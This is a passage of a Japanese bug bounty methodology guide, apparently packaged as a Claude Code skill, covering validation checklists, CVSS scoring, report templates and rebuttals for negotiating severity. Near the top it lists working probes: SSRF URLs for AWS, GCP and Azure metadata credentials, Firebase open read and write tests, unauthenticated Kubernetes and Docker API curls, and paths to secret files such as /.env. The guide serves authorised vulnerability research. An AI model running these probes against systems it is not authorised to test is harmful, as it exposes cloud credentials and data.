# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase のオープンルール
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
管理パネルの公開
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes/Docker
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
フェーズ 4:検証
7 つの質問による判定(レポートを作成する前に必ず実施)
7 項目すべてが「はい」である必要があります。「いいえ」が 1 つでもあれば、停止してください。
Q1:今すぐ、実際の PoC を使って悪用できますか?
正確な HTTP リクエストを記述してください。動作するリクエストを提示できない場合は、却下してください。
Q2:特別な行動を何もしていない実際のユーザーに影響しますか?
「ユーザーが~する必要がある」といった前提条件が 5 つもあるようなものは対象外です。被害者は特別なことを何もしていません。
Q3:影響は具体的ですか(金銭、PII、ATO、RCE)?
「技術的には可能」は影響ではありません。「被害者の SSN を読み取った」は影響です。
Q4:プログラムのポリシー上、対象範囲に含まれていますか?
プログラムの対象範囲ページで、該当するドメイン/エンドポイントを正確に確認してください。
Q5:Hacktivity/変更履歴を確認し、重複がないことを確かめましたか?
プログラムの公開済みレポートと最近の変更履歴を検索してください。
Q6:「常に却下される」リストに含まれていませんか?
以下のリストを確認してください。該当していて、チェーン化できない場合は却下してください。
Q7:トリアージ担当者がこれを読んで「はい、これは実際のバグです」と言うでしょうか?
金曜の午後 5 時に疲れているトリアージ担当者になったつもりで、自分のレポートを読んでください。問題ありませんか?
提出前の 4 つのチェックポイント
チェックポイント 0:現実性の確認(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
チェックポイント 1:影響の検証(2 分)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
チェックポイント 2:重複の確認(5 分)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
チェックポイント 3:レポートの品質(10 分)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 クイックガイド
| 要素 | 低(0~3.9) | 中(4~6.9) | 高(7~8.9) | 重大(9~10) |
|---|---|---|---|---|
| 攻撃経路 | 物理 | ローカル | 隣接 | ネットワーク |
| 権限 | 高 | 低 | なし | なし |
| ユーザー操作 | 必要 | 必要 | 不要 | 不要 |
| 影響 | 部分的 | 部分的 | 高 | 高(3 項目すべて) |
バグの種類ごとの一般的なスコア
| バグ | 一般的な CVSS | 深刻度 |
|---|---|---|
| IDOR(PII の読み取り) | 6.5 | 中 |
| IDOR(書き込み/削除) | 7.5 | 高 |
| 認証バイパス -> 管理者 | 9.8 | 重大 |
| 保存型 XSS | 5.4-8.8 | 中~高 |
| SQLi(データの持ち出し) | 8.6 | 高 |
| SSRF(クラウドメタデータ) | 9.1 | 重大 |
| 競合状態(二重支払い) | 7.5 | 高 |
| GraphQL の認証バイパス | 8.7 | 高 |
| JWT の none アルゴリズム | 9.1 | 重大 |
常に却下されるもの -- これらは決して提出しないでください
CSP/HSTS/セキュリティヘッダーの欠落、SPF/DKIM/DMARC の欠落、GraphQL のイントロスペクションのみ、動作する CVE の悪用がないバナー/バージョン情報の開示、機密情報を含まないページでのクリックジャッキング、タブナビング、CSV インジェクション、認証情報の持ち出しを示す PoC がない CORS のワイルドカード、ログアウト CSRF、セルフ XSS、単独のオープンリダイレクト、モバイルアプリ内の OAuth client_secret、DNS ping のみの SSRF、単独の Host ヘッダーインジェクション、重要でないフォームのレート制限欠如、ログアウト時に無効化されないセッション、同時セッション、内部 IP の開示、混在コンテンツ、SSL の弱い暗号スイート、HttpOnly/Secure Cookie フラグ単独の欠落、リンク切れ、アカウント事前乗っ取り(通常)、パスワードフィールドのオートコンプリート。
N/A は妥当性比率を下げます。情報提供のみの報告は中立です。7 つの質問による判定を通過したものだけを提出してください。
チェーン化すると条件付きで有効
以下の低深刻度の指摘は、チェーン化すると有効なバグになります。
| 低深刻度の指摘 | + チェーン | = 有効なバグ |
|---|---|---|
| オープンリダイレクト | + OAuth コードの窃取 | ATO |
| クリックジャッキング | + 機密性の高い操作 + PoC | アカウント操作 |
| CORS のワイルドカード | + 認証情報を使用したデータ持ち出し | データ窃取 |
| CSRF | + 機密性の高い状態変更 | アカウント乗っ取り |
| レート制限なし | + OTP のブルートフォース | ATO |
| SSRF(DNS のみ) | + 内部アクセスの証明 | 内部ネットワークへのアクセス |
| Host ヘッダーインジェクション | + パスワードリセットのポイズニング | ATO |
| セルフ XSS | + ログイン CSRF | 被害者への保存型 XSS |
フェーズ 5:レポート
HackerOne レポートテンプレート
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd レポートテンプレート
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
人間らしい文体のルール(AI っぽい文章を避ける)
- 脆弱性の名前ではなく、影響から文を始める
- 教科書のように書くのではなく、賢い開発者に説明するように書く
- 「I」と能動態を使う。「脆弱性が発見された」ではなく「私は〜を発見しました」
- 抽象的な文を3つ並べるより、具体例を1つ示す
- em ダッシュ、「包括的」「活用する」「シームレス」「確実にする」は使わない
レポートタイトルの定型
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
良いタイトル:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
悪いタイトル:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
影響を示す文の定型(第1段落)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
提出前の60秒チェックリスト
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
深刻度を引き上げる表現
報奨金が引き下げられそうな場合は、次の反論を使います。
| プログラム側の主張 | こちらの反論 |
|---|---|
| 「認証が必要」 | 「攻撃者に必要なのは無料アカウントだけです(特別なロールは不要です)」 |
| 「影響は限定的」 | 「[N] 人のユーザー/[PII type]/[$ amount] に影響します」 |
| 「すでに報告済み」 | 「レポート番号を提示してください。検索しましたが、見つかりませんでした」 |
| 「仕様どおり」 | 「これが意図された動作だと記載されているドキュメントを提示してください」 |
| 「CVSS スコアが低い」 | 「CVSS はビジネスへの影響を考慮しません。攻撃者は [X] を盗むことができます」 |
リソース
バグ報奨金プラットフォーム
- HackerOne Hacktivity -- 公開されたレポート
- Bugcrowd Crowdstream -- 公開された調査結果
- Intigriti Leaderboard
学習
- PortSwigger Web Academy -- 無料の脆弱性演習(最もおすすめ)
- HackTricks -- 攻撃手法のリファレンス
- PayloadsAllTheThings -- ペイロードのリファレンス
- Solodit -- 検索可能な監査結果5万件以上(Web3)
- ProjectDiscovery Chaos -- 無料のサブドメインデータセット
ワードリスト
- SecLists -- 包括的なワードリスト
- HowToHunt -- 脆弱性ハンティングの手順を解説
- DefaultCreds -- デフォルト認証情報
ペイロードデータベース
- XSSHunter -- ブラインド XSS の検出
- interactsh -- OOB コールバックサーバー
インストール(Claude Code Skill)
これを Claude Code のスキルとして使うには、このファイルをスキルディレクトリにコピーします。
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
その後、Claude Code では、バグ報奨金、偵察、脆弱性ハンティングについて質問すると、このスキルが自動的に読み込まれます。
関連スキルとチェーン
bug-bounty— ユーザーがツールの場所ではなく、一般的なバグ報奨金に関するガイダンスを求めている場合に使います。ワークフローの基本要素:bug-bountyがオーケストレーターとなり、トピックに合った hunt-* スキルに振り分けます。このスキル(bb-local-toolkit)は、「そのハントで使うツール/ワードリスト/クローンはディスク上のどこにあるか」に答えます。web2-recon— 特定のツール呼び出しを使って偵察を実行する場合に使います。ワークフローの基本要素:このスキルはローカルのインストールパス(例:~/tools/SecretFinder/.venv/bin/activate)を示し、web2-reconはそれらのツールパスをつないでパイプラインを構成します。offensive-osint— 実行するためのツールが必要な場合に使います(プローブ、正規表現、ワードリスト)。ワークフローの基本要素:offensive-osintは正規表現/プローブを提供し、このスキルはそれを実行するローカルの trufflehog/jhaddix/SecLists のクローンを提供します。security-arsenal— ペイロードライブラリから大量のペイロードを送信するツールが必要な場合に使います。ワークフローの基本要素:security-arsenalはペイロードの構文を示し、このスキルはそれらを実行する ffuf/dalfox/ghauri のインストール先を示します。bb-methodology— フェーズ1(偵察)またはフェーズ3(発見)で、適切なツールへの振り分けが必要な場合に使います。ワークフローの基本要素:bb-methodologyの「フェーズ別ツール振り分け」テーブルは汎用的なものです。このスキルは抽象的なツール名を具体的なローカルパスに対応づけます。